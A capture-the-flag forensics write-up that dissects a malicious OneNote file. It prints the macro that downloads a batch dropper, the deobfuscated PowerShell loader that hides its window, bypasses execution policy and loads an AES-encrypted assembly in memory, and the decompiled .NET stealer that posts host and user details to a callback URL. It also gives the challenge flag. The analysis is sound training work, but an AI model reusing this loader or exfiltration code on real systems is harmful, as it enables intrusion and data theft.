## Relic Maps  > Pandora received an email with a link claiming to have information about the location of the relic and attached ancient city maps, but something seems off about it. Could it be rivals trying to send her off on a distraction? Or worse, could they be trying to hack her systems to get what she knows?Investigate the given attachment and figure out what's going on and get the flag. The link is to http://relicmaps.htb:/relicmaps.one. The document is still live (relicmaps.htb should resolve to your docker instance).> ## SolutionFor this challenge no files are provided, only the link in the hint. To make the site reachable the domain needs to be added to `/etc/hosts`. After doing so the file can be downloaded. Running `file` on the file only leads `relicmaps.one: data`.
Next up, `binwalk`, this indeed leads a few files.```bash$ binwalk --dd ".*" relicmaps.one
DECIMAL       HEXADECIMAL     DESCRIPTION--------------------------------------------------------------------------------10388         0x2894          PNG image, 1422 x 900, 8-bit/color RGBA, non-interlaced10924         0x2AAC          Zlib compressed data, best compression47215         0xB86F          HTML document header48865         0xBEE1          HTML document footer50084         0xC3A4          PNG image, 32 x 32, 8-bit/color RGBA, non-interlaced50636         0xC5CC          PNG image, 440 x 66, 8-bit/color RGB, non-interlaced50727         0xC627          Zlib compressed data, compressed```
Most notably the HTML document. It has some malicious VBScript in it that seems to download more files.
```VB// snip...Sub AutoOpen()    ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/uploads/soft/topsecret-maps.one -Out>    ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/get/DdAbds/window.bat -OutFi>End Sub// snip...```
 Fetching `topsecret-maps.one` seems like a dead end, but `windows.bat` is interesting:
```bash@echo offset "eFlP=set "%eFlP%"ualBOGvshk=ws"%eFlP%"PxzdwcSExs= /"%eFlP%"ndjtYQuanY=po"%eFlP%"cHFmSnCqnE=Wi"%eFlP%"CJnGNBkyYp=co"%eFlP%"jaXcJXQMrV=rS"...:: SEWD/RSJz4q93dq1c+u3tVcKPbLfn1fTrwl01pkHX3+NzcJ42N+ZgqbF+h+S76xsuroW3DDJ50IxTV/PbQICDVPjPCV3DYvCc244F7AFWphPY3kRy+618kpRSK2jW9RRcOnj8dOuDyeLwHfnBbkGgLE4KoSttWBplznkmb1l50KEFUavXv9ScKbGilo9+85NRKfafzpZjkMhwaCuzbuGZ1+5s9CdUwvo3znUpgmPX7S8K4+uS3SvQNh5iPNBdZHmyfZ9SbSATnsXlP757ockUsZTEdltSce4ZWF1779G6RjtKJcK4yrHGpRIZFYJ3pLosmm7d+SewKQu1vGJwcdLYuHOkdm5mglTyp20x7rDNCxobvCug4Smyrbs8XgS3R4jHMeUl7gdbyV/eTu0bQAMJnIql2pEU/dW0krE90nlgr3tbtitxw3p5nUP9hRYZLLMPOwJ12yNENS7Ics1ciqYh78ZWJiotAd4DEmAjr8zU4U......%CJnGNBkyYp%%UBndSzFkbH%%ujJtlzSIGW%%nwIWiBzpbz%%cHFmSnCqnE%%kTEDvsZUvn%%JBRccySrUq%%ZqjBENExAX%%XBucLtReBQ%%BFTOQBPCju%%vlwWETKcZH%%NCtxqhhPqI%%GOPdPuwuLd%%YcnfCLfyyS%%JPfTcZlwxJ%%ualBOGvshk%%xprVJLooVF%%cIqyYRJWbQ%%jaXcJXQMrV%%pMrovuxjjq%%KXASGLJNCX%%XzrrbwrpmM%%VCWZpprcdE%%tzMKflzfvX%%ndjtYQuanY%%chXxviaBCr%%tHJYExMHlP%%WmUoySsDby%%UrPeBlCopW%%lYCdEGtlPA%%eNOycQnIZD%%PxzdwcSExs%%VxroDYJQKR%%zhNAugCrcK%%XUpMhOyyHB%%OOOxFGwzUd%cls%dzPrbmmccE%%xQseEVnPet%%eDhTebXJLa%%vShQyqnqqU%%KsuJogdoiJ%%uVLEiIUjzw%%SJsEzuInUY%%gNELMMjyFY%%XIAbFAgCIP%%weRTbbZPjT%%yQujDHraSv%%zwDBykiqZZ%%nfEeCcWKKK%%MtoMzhoqyY%%igJmqZApvQ%%SIQjFslpHA%%KHqiJghRbq%%WSRbQhwrOC%%BGoTReCegg%%WYJXnBQBDj%%SIneUaQPty%%WTAeYdswqF%%E```
This obviously is obfuscated code, to make things more clear we need to deobfuscate the whole thing. Luckily the obfuscation can be easily reverted by replacing the random string constants with what they are set to. While doing this by hand is cumbersome we can quickly write a [`script`](https://github.com/D13David/ctf-writeups/blob/main/cyber_apocalypse23/forensics/relic_maps/deobfuscate.py).
```pythonwith open("data.txt", "r") as file:    lines = file.readlines()
d = {}for line in lines:    parts = line.split("=", 1)    d[parts[0]] = parts[1].rstrip("\n")
print(d)
code1 = """%CJnGNBkyYp%%UBndSz..."
for x, y in d.items():    code1 = code1.replace("%"+x+"%", y)
print(code1)```
The data provided is from the batch script, but roughly prepared for parsing
```ualBOGvshk=wsPxzdwcSExs= /ndjtYQuanY=pocHFmSnCqnE=WiCJnGNBkyYp=cojaXcJXQMrV=rSnwIWiBzpbz=:\xprVJLooVF=PotzMKflzfvX=0\VCWZpprcdE=1.XzrrbwrpmM=\vBFTOQBPCju=stWmUoySsDby=hetHJYExMHlP=rsJPfTcZlwxJ=doVxroDYJQKR=y UBndSzFkbH=pyKXASGLJNCX=llvlwWETKcZH=emOOOxFGwzUd=eNCtxqhhPqI=32GOPdPuwuLd=\WXUpMhOyyHB=excIqyYRJWbQ=we```
After cleaning the result up a bit, we end up with an readable version of the script:
```PowerShellcopy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y %~0.exe
clscd %~dp0%~nx0.exe -noprofile -windowstyle hidden -ep bypass -command $eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('%~f0').Split([Environment]::NewLine)
foreach ($YiLGW in $eIfqq) { 	if ($YiLGW.StartsWith(':: ')) {  		$VuGcO = $YiLGW.Substring(3) 		break 	}}
$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO)$BacUA = New-Object System.Security.Cryptography.AesManaged$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=')$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==')$Nlgap = $BacUA.CreateDecryptor()$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length)$Nlgap.Dispose()$BacUA.Dispose()$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm)$bTMLk = New-Object System.IO.MemoryStream$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress)$NVPbn.CopyTo($bTMLk)$NVPbn.Dispose()$mNKMr.Dispose()$bTMLk.Dispose()$uZOcm = $bTMLk.ToArray()$gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm)$PtfdQ = $gDBNO.EntryPoint$PtfdQ.Invoke($null, (, [string[]] ('%*')))```
While some obfuscation remains (reversed function names) the script is well understandable. It basically copies powershell to the local folder and renames the exe to match the scripts name.
```PowerSHellcopy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y %~0.exe
clscd %~dp0```
After that the script reads itself and scans for a line that starts with ':: '. This is the encrypted payload.
```PowerSHell%~nx0.exe -noprofile -windowstyle hidden -ep bypass -command $eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('%~f0').Split([Environment]::NewLine)
foreach ($YiLGW in $eIfqq) { 	if ($YiLGW.StartsWith(':: ')) {  		$VuGcO = $YiLGW.Substring(3) 		break 	}}```
Then the payload gets decrypted and decompressed. The `key` and `iv` for AES decryption is provided as base64 encoded strings. In the last step an assembly instance is created and invoked. 
If PowerShell is at hand we can extract the payload with the script (after removing the invocation of the payload of course). Otherwise a small python script [`can do the same thing`](https://github.com/D13David/ctf-writeups/blob/main/cyber_apocalypse23/forensics/relic_maps/extract.py):
```pythonimport base64from Crypto.Cipher import AESimport gzip
with open("payload") as file:    lines = file.readlines()
key = base64.b64decode("0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=")iv = base64.b64decode("2hn/J717js1MwdbbqMn7Lw==")payload = base64.b64decode(lines[0])
cipher = AES.new(key, AES.MODE_CBC, iv)decrypted = cipher.decrypt(payload)decompressed = gzip.decompress(payload)
with open("payload.decrypted", "wb") as out:    out.write(decompressed)```
Checking the extracted payload with `file` and indeed it's a .NET executable.```bash$ file payloadpayload: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows```
This can quickly be decompiled with ILSpy.```C#private static void Main(string[] args){	IPAddress iPAddress = Dns.GetHostAddresses(Dns.GetHostName()).FirstOrDefault((IPAddress ip) => ip.AddressFamily == AddressFamily.InterNetwork);	string machineName = Environment.MachineName;	string userName = Environment.UserName;	DateTime now = DateTime.Now;	string text = "HTB{0neN0Te?_iT'5_4_tr4P!}";	string s = $"i={iPAddress}&n={machineName}&u={userName}&t={now}&f={text}";	Aes aes = Aes.Create("AES");	aes.Mode = CipherMode.CBC;	aes.Key = Convert.FromBase64String("B63PbsPUm3dMyO03Cc2lYNT2oUNbzIHBNc5LM5Epp6I=");	aes.IV = Convert.FromBase64String("dgB58uwgaohVelj4Xhs7RQ==");	aes.Padding = PaddingMode.PKCS7;	ICryptoTransform cryptoTransform = aes.CreateEncryptor();	byte[] bytes = Encoding.UTF8.GetBytes(s);	string text2 = Convert.ToBase64String(cryptoTransform.TransformFinalBlock(bytes, 0, bytes.Length));	Console.WriteLine(text2);	HttpClient httpClient = new HttpClient();	HttpRequestMessage httpRequestMessage = new HttpRequestMessage	{		RequestUri = new Uri("http://relicmaps.htb/callback"),		Method = HttpMethod.Post,		Content = new StringContent(text2, Encoding.UTF8, "application/json")	};	Console.WriteLine(httpRequestMessage);	HttpResponseMessage result = httpClient.SendAsync(httpRequestMessage).Result;	Console.WriteLine(result.StatusCode);	Console.WriteLine(result.Content.ReadAsStringAsync().Result);}```
Reading through that it seems invoking the script would have called back to relicmaps.htb with some user information. Appart from that the flag is ready for capture `HTB{0neN0Te?_iT'5_4_tr4P!}`